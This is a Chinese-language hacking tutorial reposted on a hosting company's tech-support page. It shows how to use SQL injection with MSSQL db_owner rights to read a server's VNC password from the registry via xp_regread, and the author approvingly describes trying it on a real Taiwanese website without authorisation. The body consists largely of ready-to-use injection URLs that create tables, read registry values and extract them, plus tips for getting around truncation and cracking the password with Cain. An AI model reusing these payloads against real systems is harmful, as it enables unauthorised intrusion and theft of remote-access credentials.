会员登陆  支付方式  联系我们  在线客服  网站地图       
首页 关于域浪 互联网数据中心业务、主机托管、主机租用、机架租用、带宽租用、机房介绍、机房对比、CCN网络加速 adsl专线、深圳adsl专线 虚拟主机、域名注册、数据库、企业邮局、动态域名 网络安全、网络临近平台、安全服务、防火去墙租用、安全产品、域浪抗DDOS防火墙、NetScreen防火墙 技术支持  
   当前位置:首页 >> 技术支持 >> MSSQL数据库技术 >> MSSQL db_owner角色注入直接获得系统权限
 
精华文章
    关于MSSQL Server中DA...  
    利用MSSQL sp自制未公...  
    MS SQL数据库备份和恢...  
    使用MS SQL7的LINKED ...  
    使用MS SQL7的LINKED ...  
    使用MS SQL7的LINKED ...  
    使用MS SQL7的LINKED ...  
    关于MSSQL占用过多内存...  
    关于MSSQL数据库日志满...  
    Ms SQL Server 中单引...  
    MS SQL Server 7.0 的...  
    MS SQL Server查询优化...  
    Web环境下MS SQL Serv...  
    MS SQL Server 性能优...  
    远程检测MS SQL Serve...  
    MSSQL db_owner角色注...  
    MSSQL注入攻击服务器与...  
    MS-SQL数据库开发常用...  
    win2003 64位系统下as...  
    MSSQL数据库日志压缩/...  
    mssql数据库管理的简单...  
    MSSQL Server 2000的安...  
    如何成为数据库技术专...  
    MS SQL Server数据库事...  
    使用MS SQL7的LINKED ...  
    MS SQL Server:事务处...  
    MS SQL Server 7.0 的...  
    MS SQL Server 7.0 查...  
  更多>>  
   MSSQL数据库技术
 MSSQL db_owner角色注入直接获得系统权限
    相信大家对ASP+MSSQL注入都已经很熟悉了,连一个对SQL语法丝毫不懂的人也可以用NBSI来轻松入侵大量网站。但就算是一个SQL INJECTION高手,如果针对在MSSQL中只有db_owner角色,破不出猜不到网站后台的情况下,好像也无技可施;除了用备份得到shell的这个思路,我在网上实在没有找出更好的入侵办法。不过,备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,你还能用它吗?前不久,我就碰到了这样的一个台湾网站,管理员的密码倒是用NBSi跑了出来,可是用户名因为是繁体的原因在NBSi中成了一堆乱码。我也找到了后台,可只有干瞪眼的份。怎么办?我又扫了它的所有端口,发现开了5900,估计是管理员用了VNC对服务器进行了远程控制。这时,我就有一个思路,能不能把 VNC在注册表的加密密码读出来再来破解呢?看我表演吧! 



TELNET服务器的5900端口,得到讯息证实服务器的确用的是VNC。 



相信大家都会用读xp_regread来读注册表了,依次提交如下语句: 



http://www.something.com/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][char](255)); 



这样我们就成功地建了一个名为cyfd的表,并且添加了类型是char,长度为255的字段名gyfd。然后向表中加数据: 



_blank>http://www.something.com/script.asp?id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);-- 



从注册表中读出VNC在注册表的加密密码的值,再把值插入到刚建的表中。然后暴出VNC在注册表的加密密码: 



_blank>http://www.something.com/script.asp?id=2 and 1=(select count(*) from cyfd where gyfd > 1)。 



    可是结果大失我所望,gyfd的值是空的。如果这样容易的话,不会有这篇文章出现了。这是什么原因呢?我的语法不正确?翻来覆去的检查我的语句也没有发现错误呀。难道繁体的vnc在注册表里的位置不一样?后来我又开始在本机装了vnc又在分析查循器里做测试,得到的结果却是个数字5。这时czy上线了,询问了一下,他劝我把gyfd的这个字段改成二进制数据类型 binary来试一下。于是我又在本机测试了一下,依次提交如下语句: 



 http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][binary](20)); 



http://127.0.0.1/script.asp?id=2;DECLARE @result binary(20) EXEC master.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);-- 



    然后我再用nbsi跑出cyfd表里gyfd这个字段的值。结果到是出来了,得到了vnc的加密密码值是 0x0E3515AC00000000000000000000000000000000。可这儿还不对,我在本机装的vnc在注册表里的密码值是 hex:0e,35,15,ac,00,62,d3,08这个呀。原来binary(n)的数据存储长度是固定的,当输入的二进制长度小于n时,余下长度填0补充。我在注入语句中写入的binary(20)是足够写入vnc加密密码的长度时,为什么还有那么多0来填充呢?这是因为正好我的vnc密码是 0e3515ac0062d308,在碰到了00的情况下,xp_regread以为已经读完了它的值呢,把00当成了结束符,所以只读到了 0x0E3515AC.



    翻了一下书,终于让我找到了一个特殊的数据类型uniqueidentifier,是用来存储一个16字节长的二进制数据类型。把注入语句改造一下: 



 http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][uniqueidentifier]); 



 http://127.0.0.1/script.asp?id=2;DECLARE @result uniqueidentifier EXEC master.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);-- 



然后再用nbsi跑一下,跑出来了,不过得到的结果是AC15350E-6200-08D3-0000-000000000000。 



    AC15350E-6200-08D3-0000-000000000000和我在注册表里的正确的vnc密码的值0e3515ac0062d308 相比,能看出来有什么不同吗?只不过顺序是颠倒的,相信大家都会小学的算术,试一下用cain破出vnc的密码,看看行不行。 



看样子在本机做的测试一切成功。这方法用到台湾上的站点试试,哎,依然没有跑出vnc的密码,也许繁体vnc在注册表的位置不同吧。不过,我研究了一上午,有了一点收获,就放过你吧。

  • 上一篇文章: 远程检测MS SQL Server账号安全性
  • 下一篇文章: MSSQL注入攻击服务器与防护
  • 域浪网络ISP经营许可证 深圳地址:深圳市罗湖区宝安北路国际商品交易大厦七楼C30室
    Tel:0755-82266883/82267566 Fax:0755-82261966
    邮编:518000 
                        Copyright © 2006-2008 elang.cn All Rights Reserved 深圳市域浪网络技术有限公司版权所有